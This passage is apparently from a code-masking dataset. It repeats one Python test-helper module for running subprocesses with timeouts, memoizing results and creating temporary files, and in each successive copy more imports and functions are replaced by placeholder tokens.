exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\n<function token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n",
